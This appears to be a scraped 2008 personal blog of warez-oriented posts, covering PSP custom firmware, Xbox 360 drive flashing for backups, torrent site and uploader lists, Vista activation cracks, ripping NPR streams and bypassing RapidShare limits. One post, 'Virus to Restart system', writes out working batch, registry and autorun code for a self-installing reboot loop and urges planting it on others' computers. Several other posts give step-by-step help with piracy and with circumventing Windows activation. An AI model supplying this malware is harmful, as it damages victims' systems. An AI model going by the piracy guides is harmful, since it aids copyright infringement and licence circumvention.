shirnath

Pandora Installer For 3.X Kernel Revision 4

2008-07-19T03:01:00.001-07:00

Hellcat has released a huge update to his Pandora installer for 3.X kernel custom firmware. This application allows users easily set-up and run Pandora of their custom firmwared PSP.

This update features a new redesigned menu as well as an option to install the TimeMachine IPL and the latest version of Despertar del Cementerio (PSP universal unbricker) onto the memory stick.

Please click the more tab for the changelog and download link.

* - added a new menu system for more easy navigation of all available options
(I ran out of buttons for new functions *lol*)
Usage should be a bit more easy now, less confusion….
* - added option to install TimeMachine IPL to the MemStick
(the IPL is build in, not required to have it as file on the MemStick)
* - added option for installing a DDC stick! (”Desparter Del Cementario”, or however it’s spelled )
Now you can finally make a MagicStick with this app that also works perfectly on the Slim and
installs a recent CFW!
No need for any additional tools or setups.
(3.40 module extraction based on M33’s PSARDumper)
* - added option to modify a DDC MagicStick to launch ELF-Menu, instead of the original
DDC ressurection.elf - already presupplied with NAND-Tool (propperly set up) and the
original ressurection to be launched from the menu.
For all you maintanance needs
* - It now looks for the 1.50 updater under “150.PBP”, no longer under “UPDATE.PBP”!
* - The required updater .PBPs are checked on startup and missing ones a are noted in a warning at the bottom of the mainscreen

(Pandora Installer For 3.X Kernel Revision 4 - 780.1 KiB - 393 Hits)

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Virus to Restart system

2008-07-19T02:57:00.000-07:00

Effect:
This Virus plans itself in your computer and in the registry. It restarts your computer instantly and then it restarts your computer every time it starts up. Causing a continuos loop.

How to make it:

1. Open up a notepad and type the following:
Code:

@echo off copy lol.bat "C:\WINDOWS\system\" /y regedit /s "lol.reg" shutdown -f -r

Explanation:
a) @echo off - Makes the code invisible.

b) copy lol.bat "C:\WINDOWS\system\" /y - Automatically(/y) copies itself to the "system" folder automatically.

c) regedit /s "lol.reg" - Automatically(/s) runs the .reg file that you will make in step 3.

d)shutdown -f -r - Automatically(-f) shuts down and restarts(-r) the computer.

2. Save it in a folder on your desktop or somewhere as "lol.bat".

3. Open up another notepad and type the following:
Code:

Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run] "lol"="C:\\WINDOWS\\system\\lol.bat"

Explanation:
a)[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curr entVersion\Run] - The startup folder in the registry (everything in there runs on startup.)

b)"lol"="C:\\WINDOWS\\system\\lol.bat" - "lol" is what the string will be called the path is where your .bat file copied itself, remember.

4. Save it in the same folder as "lol.bat", call it "lol.reg".

5. Give it to your friends.

Make an autorun file and copy it to disc along with the .bat and the .reg.

6. Open up a notepad and type the following:
Code:

[autorun] ShellExecute=lol.bat icon=apc.ico

Explanation:
a)ShellExecute=lol.bat - Automatically runs "lol.bat" when you pop your cd/dvd into the drive.

7. Save this into the same folder as "lol.bat" & "lol.reg", call it "autorun.inf".

8. Copy "lol.bat", "lol.reg" & "autorun.inf" to a blank cd or dvd.

9. Stick it into someone's computer for epic lulz.

how to soft mod a psp battery and install CFW

2008-07-07T04:13:00.000-07:00

is an video and a easy installer i the package you download,

just get the package, see the video, and use the easy installer exatly as in the video

The video takes 18 min, recorded in one shot, and is not edited!

Link to file pack:
http://www.megaupload.com/?d=0AZEJQND

You need CFW

Link to "Pandora installer for 3.xx by HellCat":
http://pspupdates.qj.net/Pandora-ins.../49/aid/103607

Here is some pictures of the battery, so you can see that it aint been opened/hard-modded:

Special thanks to xi-bi for his great work, and jtag for sharing this updates.

Delete The My Recent Documents Icon From The Start Menu

2008-07-06T11:33:00.000-07:00

Hit the Windows Key+R, type regedit into the run dialog and hit OK.
Now that you’re in the the Registry, navigate to this key:
HKEY_CURRENT_USER\Software\Microsoft\ Windows\CurrentVersion\Policies\Explorer
Create a new DWORD value by right-clicking the right pane and click New, then DWORD
Name this newly created value:
NoRecentDocsMenu
Double Click NoRecentDocsMenu and, in the Value Data text box, assign it this value^[1]:
1
Close the Registry and reboot your machine.

You can now say goodbye the My Recent Documents Icon,

win xp ultimate

2008-06-08T08:35:00.000-07:00

to day whie i was browsing i bumped into something thought i could share it with you

Windows XP Ultimate Edition (by Johnny)
x86 ENGLISH (DVD)

Experience all in one:

* Windows XP Professional
- Performance, Compatibility and Connectivity
- User Interface

* Windows XP Media Center 2005
- Entertainment

* Windows XP Tablet PC 2005
- Portability

* Windows Vista Ultimate
- User Interface and New Generation Applications

* Mac OS
- User Interface

* Linux
- User Interface

Plus:

- SATA and RAID Support

- Integrated Updates

and much more...

__________________________________________________________________________________________

June 2008 - Release 3.9

- XP SP3 RTM Based (Build 5512)
Based on the integrated image of Windows XP SP3 microsoft released on Technet
- Integrated post SP3 updates
- Updated Sata/Raid drivers (MassStorage Driver Pack v8.05)
- Updated the WGA ActiveX Control to latest version
- Updated IE Flash Plugin
- Made some changes/adjustments to the UI System Files Repair Tool
- A few changes to some UI system files
- Updated some XP Ultimate components
- Fixed Bug with the Microsoft Plus Themes not loading
- Fixed Bug of the LClock Control Panel unavailability - It is now available and fully functional
- Added Stacks to the Dock Bar
- Updated Nero
- Updated FFDShow
- Updated CCleaner
- Updated VisualTaskTips
- Updated TrueTransparency (new features and stability improvements)
- Improvements to the TT Aero Skin o take advantage of the new features of the latest TrueTransparency version
- Removed Windows Defender
- Updated AVG to version 8 which is both Anti-Virus & Anti-Spyware

Windows XP Ultimate Edition (by Johnny) [June2008-R3.9].torrent

Flashing the Firmware of your Xbox 360 DVD-Drive

2008-06-08T07:55:00.000-07:00

Important: you can break, fudge, kill or maim a perfectly good Xbox 360 if you are not careful so I warn you in advance don't complain or cry to me it you make a mistake, the steps I will describe worked for me and countless others, proceed with caution and make sure you fully understand the process before attempting it.

NOTE: this firmware modification will only allow you to boot Back-ups, no other programs or emulators can be installed using this firmware modification

First lets check which DVD-drive your Xbox 360 contains, eject the drive tray and compare against the photo below to determine which DVD-drive you have. Compare the circled areas against your drive to determine which model you drive is and proceed accordingly. The Phillips DVD-drive has just been identified (June 28-06) so no firmware is available for this type of DVD-drive yet.

Tools and Items you will require:

Knowledge of which DVD-drive your Xbox 360 contains (see above photo)
Extreme firmware for the drive you will be flashing (see the section below)
Torx 7,10 and 12 screwdrivers to open the Xbox 360
A PC with a suitable SATA chipset (click Here to check known compatibility)

Get the right files

All of the files you require are available from one site but a free registration is required to access the downloads section please visit them and register before clicking on the following links or access to the files will be denied click Here to register the link will take you to eurasia.nu registration screen. Important All the files you will download use a compression called '.rar' so you will need a tool called Winrar to decompress the files it can be downloaded from Here.

Hitachi DVD-drives
Xtreme Firmware Hitachi 4in1 which supports
Hitachi 36, 46D, 47D and 59 DVD drives and the Flasher tool for Windows is included.
Click Here to download from eurasia.nu
Samsung DVD-drives
Toshiba-Samsung TS-H943 DVD drive and the Flasher tool for DOS included.
Click Here to download from eurasia.nu
You'll also need the FreeDOS boot floppy which can be found Here
Phillips DVD-drives
No Firmware is available yet

Removal of the DVD-drive from the Xbox 360

You'll need to crack the Xbox 360's case in order to get access to the SATA cables connected to your DVD-drive if you need instructions on opening the Xbox 360 click Here

Three methods of getting the DVD-drive recognized by your PC

We need to tell the DVD-drive to enter a mode known as 'Mode B' or the PC will not be able to see the drive and we need the PC to see it before we can do any firmware updates. Three methods are available to accomplish the task, choose your method and read how it's done.

Slax CD if your SATA chipset is compatible (click Here to check known compatibility)
Click Here for instructions
Crossed Wires Method requires adding some wires to the DVD-drive
Click Here for instructions
Xecuter Connectivity Kit needs to be purchased for around $30 online
Click Here for instructions

My DVD-Drive has been sucessfully flashed now what?

We need to obtain the sector sectors of the Xbox title we wish to create a back-up for. Only the Toshiba-Samsung DVD-drives are currently able to perform this function. and it requires flashing a different firmware to the drive to enable this particular function to work. users with the other drive types will have no choice to obtain .iso images that are 'Xtreme' firmware ready meaning the security sectors have been injected correctly into the back-up by someone else. You can also find the current sectors for most games available as a download if you look around. Remember the Xbox 360 requires you use the correct version so if you have a NTSC Xbox look for a NTSC version and of course PAL users need a PAL version.

For users who wish to read the security sectors for now you'll have to look around for instructions until I get this part done.

TRUSTED UPLOADERS

2008-06-06T02:46:00.000-07:00

I think some of you will be wondering where to download music movies etc etc

Well here you go

...............

TV Shows

3666
TiAMO
O-MEGA
loder
ppsfilmi
alientechy
Nimolee
aitb
flixer
Miklo50
JimBobJoeBoo
[badb0y]
Badboy4ever

Movies/DVDRips

FXG_team
FxM
loder
leetay
Ltt_Fr1
RoCK_BlueLadyRG
ppsfilmi
KLAXXON
aitb
DUQA-TEAM
-johnny-
aXXo-torrents
[badb0y]

Movies/DVDR

loder
he0n
Badboy4ever
lowiekuipers
djfred500
lieM
loppe13
cdomeij

Movies/SWESUB

crille16
elements
BigMac
appe2
trum-slagaren
loder

Movies/Spanish

topetorrents.com
webchella
zurera

Movies/iPod .MP4

crane_man

Games

420dopeman
Subzero!
spatorrent
ESPALPSP
loder

Applications

TICI333
PlanetMaster
enn_kh
TheOneX
loder
hanru
warezdemonoid

Audio

FEFE2003
Torrentazos
skirgsk
knaverlisa
FrankFoo
rage!
b00n
anous
ReijuDracOwns
trum-slagaren

Music Videos

RosaMannen
2nafish

Comics

Smokebogey
FBScans
TheDarkelf
niki23ee

Images

Maglor1212
LegalTorrents
CDISPLAY

e-Books

LegalTorrents

Adult

GoldenPirates
mp400
FFF
strik9.sgfeed
dsfsdfsw

Mixed

NeRoZ
FiNsTeRc
himod
Joe
webchellacity2
jatobac
stholmes78
bill212
webchella
captainelliotspencer
zurera

how to uninstall a programme completely

2008-05-07T11:33:00.000-07:00

Use Tune Up Utilities to clean registry when pirated program was updated or for some another reasons if reinstall not help and you still want to keep current version.
For example we use “CloneDVD Mobile”- (CDM).
1. Copy name of program (if specific name)
2. Uninstall CDM
3. Delete CDM folder C:\Program Files\....
4. Run TU, Registry Editor, search-paste name, search registry
5. Search complete, remove from search results (registry from storage hdd’s), start clean
6. Control search
7. Close TU
8. Install CDM

Now,when in search directories only from C:\ProgramFiles..C:\Windows\-let's do it

Torrent sites

2008-05-03T06:01:00.000-07:00

ere’s the start of huge list of BitTorrent websites, something like toplist on warez scene. I’ll try to fairly comment all biggest players on BitTorrent scene. I’ll not talk about private websites and tracker for now, but this may be added later…

NewTorrents - www.newtorrents.info
+ only scene torrents, great quality
+ no fake torrents, only public trackers - no registration required
+ peers updating on demand, comments, NFOs
- numerous advertisements
- only basic categories
- not so many torrents in the database

Mininova - www.mininova.org

+ huge database of torrents, hundreds of new files every day
+ private trackers marked with special icon
+ many categories, comment system, big forum
- lot of fake torrents
- many torrents on private trackers
- sometimes slow

The Pirate Bay - www.piratebay.org

+ huge database of torrents
+ many categories, subcategories, most downloaded torrents
+ easy to use, no popups
- lot of unseeded torrents
- strange search results, not updated peers
- lot of swedish content

MyBittorrent - www.mybittorrent.com

+ many torrents, nice graphics
+ lot of details about torrent, multitracker
+ similar torrents
- many bugs on the website, design changed often
- doubled torrents
- many adverts

Torrent Spy - www.torrentspy.com

+ many torrents in database
+ nice design
+ active comment system
- overfilled with ads
- many torrents on private trackers or passworded
- stats not update too often

Torrent Reactor - www.torrentreactor.net

+ incredibly huge database of torrents
+ great sorting into categories
- lot of spam and fake torrents
- many unseeded torrents
- many ads
- uploading not allowed

ISO Hunt - www.isohunt.com

+ huge database of torrents
+ also searching IRC files
+ grouping more torrents under one release
- strange design and navigation, too complicated
- too many adverts
- torrent stats not updated, fake torrents

Torrentz - www.torrentz.com

+ many many torrents in database
+ fast, clean, easy to use
+ grouping one release from more trackers
+ related torrents at the bottom
- only linking files for download
- mirroring other sites - sometimes fake torrents

Torrent portal - www.torrentportal.com

+ many new torrents every day
+ lot of details about every file
+ real-time peers updating
- only fetching other websites - fake and unseeded torrents
- chaotic design, script errors
- many others, porn

Torrent box - www.torrentbox.com

+ almost no ads, easy design
+ only torrents with public trackers
+ rare content in torrents
- quite a small site
- lot of unseeded torrents
- not much popular

NewNova - www.newnova.org

+ many torrents
+ nice categories, fake torrents being deleted
- very annoying popups and ads
- no details about torrents
- often downtimes
- slow updating

Seedler - www.seedler.org

+ lot of torrents
+ localizated user interface
+ clean and nice design
- many ads
- many unseeded torrents

Official BitTorrent website - www.bittorrent.com

+ huge database of torrents
+ good search engine
+ many trackers indexed
- not many details about torrents
- connection with Warner Bros, self-propagation
- censored results

FBI wants to close RLSLOG

2008-05-03T05:59:00.000-07:00

Two days ago the FBI send the RLSLOG owner and administrator a postal notification of a WARNING that RLSLOG is participating in illegal activities and said that we get only 5 days to close the website before they shut it down. When I heard it I was really disappointed because RLSLOG is my homepage and I think homepage of many of you as well. I want to thank everybody for participating to this site and we might be able to open another website similar to RLSLOG, thank you all!

Today it’s 1 April aka Jokes Day, in many countries lie to each other making jokes. In the morning I got a similar jokes by other websites and thought It may bring you a laugh after reading that it’s not true. Have a nice day and please let your comment so we can see how many “fooled” readers we have.

notice how many comments are coming in and thought I might check the record of RLSLOG. “Fast & Furious 3 OST” with 337 comments is on the 1st place. “Test Drive Unlimited” with 306 comments is in the 2nd place. 3rd place with 277 comments goes to “300 DVDSCR XviD-NEPTUNE”.

source~rlslog.net

Movie sources

2008-05-03T05:58:00.001-07:00

CAM

A cam is a theater rip usually done with a digital video camera. A mini tripod is sometimes used, but a lot of the time this wont be possible, so the camera make shake. Also seating placement isn’t always idle, and it might be filmed from an angle. If cropped properly, this is hard to tell unless there’s text on the screen, but a lot of times these are left with triangular borders on the top and bottom of the screen. Sound is taken from the onboard microphone of the camera, and especially in comedies, laughter can often be heard during the film. Due to these factors picture and sound quality are usually quite poor, but sometimes we’re lucky, and the theater will be fairly empty and a fairly clear signal will be heard.

TELESYNC (TS)

A telesync is the same spec as a CAM except it uses an external audio source (most likely an audio jack in the chair for hard of hearing people). A direct audio source does not ensure a good quality audio source, as a lot of background noise can interfere. A lot of the times a telesync is filmed in an empty cinema or from the projection booth with a professional camera, giving a better picture quality. Quality ranges drastically, check the sample before downloading the full release. A high percentage of Telesyncs are CAMs that have been mislabeled.

TELECINE (TC)

A telecine machine copies the film digitally from the reels. Sound and picture should be very good, but due to the equipment involved and cost telecines are fairly uncommon. Generally the film will be in correct aspect ratio, although 4:3 telecines have existed. A great example is the JURASSIC PARK 3 TC done last year. TC should not be confused with TimeCode , which is a visible counter on screen throughout the film.

SCREENER (SCR)

A pre VHS tape, sent to rental stores, and various other places for promotional use. A screener is supplied on a VHS tape, and is usually in a 4:3 (full screen) a/r, although letterboxed screeners are sometimes found. The main draw back is a “ticker” (a message that scrolls past at the bottom of the screen, with the copyright and anti-copy telephone number). Also, if the tape contains any serial numbers, or any other markings that could lead to the source of the tape, these will have to be blocked, usually with a black mark over the section. This is sometimes only for a few seconds, but unfortunately on some copies this will last for the entire film, and some can be quite big. Depending on the equipment used, screener quality can range from excellent if done from a MASTER copy, to very poor if done on an old VHS recorder thru poor capture equipment on a copied tape. Most screeners are transferred to VCD, but a few attempts at SVCD have occurred, some looking better than others.

DVD-SCREENER (DVDscr)

Same premise as a screener, but transferred off a DVD. Usually letterbox , but without the extras that a DVD retail would contain. The ticker is not usually in the black bars, and will disrupt the viewing. If the ripper has any skill, a DVDscr should be very good. Usually transferred to SVCD or DivX/XviD.

R5

This is fairly new movie format. Basically the same as DVD Screener - this kind of release is legal DVD released in Russia to decrease the level of pirated movies in this country. Retail is rushed out by the studio, so there is little to no cleanup of the film after the telecine process. As a result, you can see some scratches, hairs or other mess on the picture, but you will hardly notice it while watching. External English audio is often used, as these are supplied with Russian sound by default.

DVDRip

A copy of the final released DVD. If possible this is released PRE retail (for example, Star Wars episode 2) again, should be excellent quality. DVDrips are released in SVCD and DivX/XviD.

VHSRip

Transferred off a retail VHS, mainly skating/sports videos and XXX releases.

TVRip

TV episode that is either from Network (capped using digital cable/satellite boxes are preferable) or PRE-AIR from satellite feeds sending the program around to networks a few days earlier (do not contain “dogs” but sometimes have flickers etc) Some programs such as WWF Raw Is War contain extra parts, and the “dark matches” and camera/commentary tests are included on the rips. PDTV is capped from a digital TV PCI card, generally giving the best results, and groups tend to release in SVCD for these. VCD/SVCD/DivX/XviD rips are all supported by the TV scene.

WORKPRINT (WP)

A workprint is a copy of the film that has not been finished. It can be missing scenes, music, and quality can range from excellent to very poor. Some WPs are very different from the final print (Men In Black is missing all the aliens, and has actors in their places) and others can contain extra scenes (Jay and Silent Bob) . WPs can be nice additions to the collection once a good quality final has been obtained.

DivX Re-Enc

A DivX re-enc is a film that has been taken from its original VCD source, and re-encoded into a small DivX file. Most commonly found on file sharers, these are usually labeled something like Film.Name.Group(1of2) etc. Common groups are SMR and TND. These aren’t really worth downloading, unless you’re that unsure about a film u only want a 200mb copy of it. Generally avoid.

Watermarks

A lot of films come from Asian Silvers/PDVD (see below) and these are tagged by the people responsible. Usually with a letter/initials or a little logo, generally in one of the corners. Most famous are the “Z” “A” and “Globe” watermarks.

Asian Silvers / PDVD

These are films put out by eastern bootleggers, and these are usually bought by some groups to put out as their own. Silvers are very cheap and easily available in a lot of countries, and its easy to put out a release, which is why there are so many in the scene at the moment, mainly from smaller groups who don’t last more than a few releases. PDVDs are the same thing pressed onto a DVD. They have removable subtitles, and the quality is usually better than the silvers. These are ripped like a normal DVD, but usually released as VCD.

source: vcdquality.com

How to Rip NPR MP3s.

2008-05-01T07:50:00.000-07:00

National Public Radio (NPR) is a popular radio show syndicator in the US. You can listen to lots of their shows online, but while they now do offer 'podcasts' and other downloadable content, many of the programs are only officially available as streaming content, with no link to download the source MP3. Well fuck that, let's rip their shit.

You can of course, use a sound-capturing program like SoundTap (or many others) to record all sound coming out of your computer, but this will result in lossier sound quality, so instead let's rip the original MP3 file (64 Kbps, 44 KHz) that's streamed in NPR's flash player.

1. Head on over to the NPR Archives and pick a program to rip. For this example we will be using http://www.npr.org/templates/story/story.php?storyId=4167689 , though the method should work for other shows in much the same way.

2. Now just take the storyId number from the first URL (4167689 in our example), and insert it after the id= field in this second URL, like so: http://www.npr.org/templates/xanadu/xplayer.php?id=4167689&t=1 .

3. Paste the second URL into your browser, and you should get an xplayer.xml file. (The XML file will either open in your browser or you'll be prompted to save it). At the top of the XML file should be a field that looks something like this:

Code:


/npr/atc/2004/11/20041112_atc_09.mp3?primaryTopic=1039&assignedTopics=1041,1045,1047,1011&orgId=1

4. Aha. Now we know the filepath of the source MP3 that we want to download, but alas the URL itself isn't listed in the XML file. But don't worry, the root URL is just: http://download.npr.org/anon.npr-mp3/ .

5. Now simply append the mediaUrl value to the end of the aforementioned URL (stripping out all the extraneous bullshit after .mp3). So your download URL for this show episode should be: http://download.npr.org/anon.npr-mp3/npr/atc/2004/11/20041112_atc_09.mp3 .

And there you have it. You should now be able to download the original MP3s (64 Kbps, 44 KHz) of your favourite shows to your heart's content. The general process is simple: get the storyId from the first URL, paste it into the second URL, get the location of the MP3 from the XML file that the second URL points to, and finally append the MP3 location to the third URL. Easy as 1-2-3-4 .

DVD fab

2008-03-21T10:39:00.000-07:00

So I realize creating a good DVD Rip can be rather difficult to figure out, so I decided to make a tutorial for it.

First things first, getting what you need.

DVDFab Platinum 4 is the program we will be using.

Obviously the first step is insert the DVD you would like to rip and open DVDFab.

Now with a default install everything should be set up properly and you should be able to start a rip right away.

On the left, Under DVD to Mobile, Select DVD to DivX/Xvid.

Here, almost everything can be left default. Select the audio track you want, especially if you want a language other than the default. If you don't want the full movie, select which Titles you do want to rip, should be self explanatory. If you want a straight rip, the only thing you should need to change is Subpicture. If you do not want subtitles, make sure nothing is selected here. Now is a good time to select where you want the file to saved, under Target.

Hit next and you come to this screen.

Click configure, this is where you change it to the way you want.

Most of this can be changed to your liking. However make sure you select 'generic.xvid.cd' for a standard Xvid Rip.

Filename and Title can be changed to whatever you want.

Encoding - Fast Encoding is usually fine, but for better quality choose 2 pass.

Select Fixed File Size and then choose how big you want it under Split to the right. 1CD is 700mb by default and is axxo/FXG standard. 2 CD is 1.4GB and that's used more by the scene, up to you, doesn't matter, especially if you don't upload it.

Audio - Lower the audio quality, higher the video quality at the same file size. Doesn't really matter, up to you. For comparison, FXG standard is 112, axxo is 192. I like to keep mine in the middle at 128.

Resolution is again up to you, standard is usually somewhere around 600x300. 592x336 or 624x352 are good choices. For reference, the higher the Bits/Pixel, the better the quality, that might help you make a decision, just remember not to make it too small.

When you're done, select OK, and you go back to the main screen. When you're ready, Hit Start and wait.

This can take a long time, be patient. Your computer's specs and the quality play a role in how long it will take. If you want it take shorter, don't use the computer while its doing this, or let it go overnight, or while you're at school, whatever you want.

Optimize BitTorrent To Outwit Traffic Shaping ISPs

2008-03-16T15:00:00.001-07:00

Optimize BitTorrent To Outwit Traffic Shaping ISPs

Even though many of them deny it, most ISPs actively engage in traffic shaping, bandwidth throttling, connection denial or some such tactic to keep the amount of bandwidth consumed by high traffic applications on their networks to a minimum. While this does often ensure better performance for everyone in the neighborhood, it can mean painfully slow transfer speeds for those dabbling in P2P -- legit or not.
While there are valid arguments for and against shaping, we're not here to debate. We just want the fastest BitTorrent transfers possible.

Methods Of Fooling ISPs:

So how to get around an ISP that's throttling your BitTorrent traffic? You can try encrypting your traffic, changing the default port number, changing the way the protocol behaves, reducing the amount of one-way traffic, or hiding your traffic within an encrypted tunnel.
Of course, different ISPs are employing different methods of control. None of these methods are guaranteed to work. But each one is known to work for some, and they are certainly worth a try.

How To Encrypt Your BitTorrent Transfers:

The RC4 encryption offered by many popular BitTorrent clients today will obfuscate not only the header but the entire stream, which makes it considerably more difficult for an ISP to detect that you're using BitTorrent. Even if your ISP does not force you to enable encryption, you may be connecting to peers with ISPs that do.
Encryption began appearing on clients in late 2005. By the end of 2006, most actively-developed clients were updated with encryption. While not all torrent clients in a swarm will support encryption, most of them will. As a result, this small percentage of non-encryption capable peers may be a reason not to force encryption on a full-time basis, but there is no reason not to enable encryption that allows the falling back to a non-encrypted connection when needed.
If your favorite client is not listed below, check your documentation.

Azureus (which now calls its official client Vuze) is written in Java and therefore cross-platform. To turn on encryption, head to the Tools menu. Select Options, then Connection, then Transport Encryption. Check the "Require encrypted transport" box and select RC4 in the "Minimum encryption" drop-down menu.
Azureus/Vuze also offers an "Allow non-encrypted outgoing connections if encrypted connection attempt fails" option, which means you'll still be able to hop on torrents that don't have any encrypted seeders.

µTorrent (and now BitTorrent which is based on µTorrent) is a Windows-only client. In µTorrent, open up the Preferences panel and select the BitTorrent tab. Select Protocol encryption and then choose between "enabled" and "forced." µTorrent's "Enabled" option mirrors Azureus' option to allow unencrypted connections when no encrypted clients exist. It will give you more connections, but it won't be as effective at defeating traffic shapers.
µTorrent/BitTorrent also offers a option to 'Allow legacy incoming connections' which lets non-encrypted clients connect to you. This improves compatibility between clients but again, makes your traffic more vulnerable to shapers.

BitComet is another popular Windows Client (98/Me/2000/XP). To turn on encryption in BitComet, head to the Options menu and choose Preferences. Then go to Advanced > Connection and select "Protocol encryption." There are options for "auto detect" and "always."
As with the others, "auto detect" will connect to more peers, but it won't hide traffic as well. You'll need to play with the settings in your program to see if it has any affect on your download/upload speeds.

Other clients that support encryption include KTorrent (Linux), rTorrent (Linux, Mac) and BitTornado (Windows).

How To Change Your BitTorrent Port Number:

The default port for BitTorrent transfers is port 6881, with some clients using different ports within the range of 6881-6999. As a result of ISP interference, all clients allow you to change the port number (or port range, sometimes) used for BitTorrent transfers. The setting is in the Options or Preferences for your client, or can be set using a command-line parameter.

Whenever you change your port, you need to adjust your router to allow incoming connections. An excellent service at http://www.portforward.com/ can guide you through the entire process of locating the current port being used (which allows you to change it), and then configuring your router to match.

How To Change the Way the BitTorrent Protocol Behaves:

The BitTorrent protocol has a distinct handshake. To control uploading by seeders, ISPs have learned to look for this handshake. The recent releases of both µTorrent and Azureus/Vuze include a "Lazy Bitfield" feature to hide seeders from ISPs. When Lazy Bitfield is enabled, the handshake is changed to make a BitTorrent seeder initially appear to be a non-seeding peer (sometimes called a leecher). This is done by sending a bitfield indicating missing pieces. Then, once the handshake is done, the client notifies its peer that it now has the pieces that were originally indicated as missing.

Azureus (which now calls its official client Vuze) is written in Java and therefore cross-platform. To turn on encryption, head to the Tools menu. Select Options, then Transfer. Enable Lazy-Bitfield here.
µTorrent Lazy Bitfield is controlled in the Advanced section Preferences: peer.lazy_bitfield.

How To Reduce the Amount of One-Way transfers:

Most downloaders become seeders when they have 100% of the archive, then they spend the next several hours "paying back" the swarm until they have provided at least as many bytes uploaded that they downloaded -- a ratio of 1:1 or 1.00. As mentioned before, some ISPs make efforts to control seeders. Seeders generate one-way (outbound) traffic, and this traffic is sometimes the most troublesome for ISPs to handle.

Most clients are configured with a "speed limit" set Upload Maximum Limit in kB/s and an unlimited Download Maximum Limit. To reduce the amount of one-way transfers, the client needs to upload at the same rate (or less, overall) than it is downloading. While this means that the download will be a lot slower to complete, it also means that it will complete at a 1.00 ratio or above.

For example, perform your transfer with an Upload Limit of 30 KB/s and a Download Limit of 25 KB/s. When you first join you won't upload at all because you have no pieces to share yet. But after several minutes, the total bytes uploaded should be equal to or above the total bytes downloaded. When your download is complete, you will have little or no obligation to continue seeding as you already have uploaded enough to the swarm.

This tactic is not always effective or efficient. Some swarms have too few peers left that need data, making it difficult to reach your desired upload rates.
Many multi-torrent clients (Azureus/Vuze, µTorrent, BitComet, and others) provide the option of setting maximum upload and download rates on a per-torrent basis. These settings are found either in a right-click menu or in the Properties of each torrent. Some clients also allow Global Settings that affect all torrents being managed by the client, however the Global Settings do not provide a correct balance to ensure that a one-way transfer is avoided.

Azureus/Vuze provides the additional useful option of limiting the number of seed connections while downloading. This setting is found on the Options panel of each individual torrent.

How to Hide BitTorrent within an Encrypted Tunnel:

With the advent of Application-Layer Inspection, some ISPs may recognize and control BitTorrent traffic despite your best efforts.

You may be able to hide the BitTorrent traffic in an encrypted tunnel -- a transport path within the normal transport paths provided by TCP and IP. You can tunnel your traffic through cooperatives such as The Onion Router (TOR)* or I2P.

Commercial Virtual Private Network (VPN) providers such as Relakks or SecureIX will also help keep your ISP from detecting exactly what you're doing. If you are familiar with SSH and SSH Tunneling, this is also a possibility. However, some ISPs even throttle or inhibit these encrypted tunnels.

Azureus provides in-client support for TOR and I2P. Other clients will have to set up the software as recommend on the TOR or I2P site.
*Note: TOR has been updated to allow peer-to-peer download data, despite any information to the contrary (it used to be prohibited).

Now For the Bad News:

ISPs are taking advantage of more sophisticated shaping technology all the time, and many of the newer shapers won't be fooled by encrypted traffic. For instance, Sandvine (the shaping tool many believe Comcast and other ISPs employ) won't be fooled by obfuscating your traffic.

So what can you do beyond obfuscating?
The short answer is not much. There is no fool-proof way to do beat the shapers. You best choice is probably to switch to an ISP that doesn't employ anti-BitTorrent traffic shaping. In the long run, this also has the benefit of sending an effective message to your ex-ISP.

For a list of ISPs to avoid, have a look at the list maintained on the Azureus Wiki.
But what if you have no other option when it comes to ISPs? Start by calling customer service. Call now and call often. Disgruntled consumers often cost an ISP far more money than a large amount BitTorrent traffic. And by all means, try these ideas, though your results may vary considerably depending on what shaping tools your ISP is employing.
SOURCE

VISTA SP1 !!!!

2008-03-02T01:29:00.000-08:00

1. Install Vista RTM/Retail without any CD-KEY. Install CLONY Activator.

2. Install all the Drivers/etc and then run CCleaner.
3. Install SP1 RTM . Complete the Installation and see if it's deactivated. It should be! Run CCleaner again.
4. Download an Activator. Link (This is the only thing that works correctly and even passes WGA!)
5. Extract it and run Activation.exe
6. w00t w00t.
Vista SP1.X86(32BIT) (Build 6001) Complete Activation Session (HelloTomorrow)

credits to ~ djsubbu a.k.a. [xubz]

___________________________________________________

1. install vista sp1 build6001 (root-boot from dvd install)
(setting up Drivers,and Utils,PROGRAMS.)
.

2. unzip "Activa.2007 final 2AAA"
3. install "Activation" justa as "ADMiN"

4. reboot
5. after reboot, windows vista will crash [ yes! pretty BLUESCREEN ]
.( Critical-memory dump error)

"6. ok! .now start real Activation session"
.
7. insert VISTA RTM or RETAIL (build 6000) DVD ,then boot from DVD
8. click " Repair computer" -> click "advance option"
9. click "restore computer" .[important]
10. start restore session -> click 15~20 min earier time restore point
(yes the point that before "Activation" install)

11. after "Recovery computer" completed ,windows will reBoot.
12. Yes Done.
[NOW VISTA SP1 BUILD 6001 ACTIVATED PERMENENTRY , AND THE COPY IS "GENUINE"]
\

NOTE: WINDOWS UPDATE WILL WORKING COMPLETELY( pass WGA? yes)

NOTE: THIS "ACTIVATION" WILL INSTALL "BOOTLOADER"
-> MEANS "BOOT SCREEN NOT CLEAN".

[]
v.sp1.6001 - activated by computer genuius and pembros 10.08.07

(testing com: SONY-VAIO FZ)
(testing edition: ULTIMATE, BUSINESS, HOMEPREMIUM)

UNLIMITED RAPID SHARE

2008-02-17T01:18:00.000-08:00

About 2 months ago I’ve written a perfect way to unlimited rapidshare downloading. It can be a very perfect way if you have Cryptload configured correctly and also a

router that works with it. I have a Belkin router and there is a strange 5 minutes and 5 seconds wait time which even the programmer of Cryptload doesn’t know what is causing it. Some people even have router that doesn’t even work at all with Crytload!

If you’ve use Cryptload before, you’ll know how RapidShare works. If not, I’ll explain really quick. For normal free users, you’ll need to visit rapidshare link, click the FREE button, wait for download ticket, enter CAPTCHA code and start downloading. When want to download second file from Rapidshare, you’ll need to wait for a while depending on how big is the file that you’ve previously downloaded before you can download the second file. Most people don’t want to wait so they just disconnect and reconnect. This will give you a new IP address and you can download without waiting.

Few days ago I found a new program which is quite similar to how Cryptload works but this time it is going to be flawless. Doesn’t matter what router you have, whether you are using ADSL modem to connect, it will work for you. The only catch is you must be sure that whenever you disconnect and reconnect your Internet, you’ll get a new IP address. So here’s another perfect way to unlimited rapidshare downloading…

The program is called (E)lephant written by Shlomi Kalfa (SK). You’ll find the the name of the author familiar because it’s the same person that created Universal Share Downloader or USDownloader. (E)lephant is a weird name to be used for a download manager which is able to bypass rapidshare’s download limitation. Well, I don’t think the name actually matter so much as long as it works!

This is how (E)lephant looks like. Nothing special, just like a download manager.

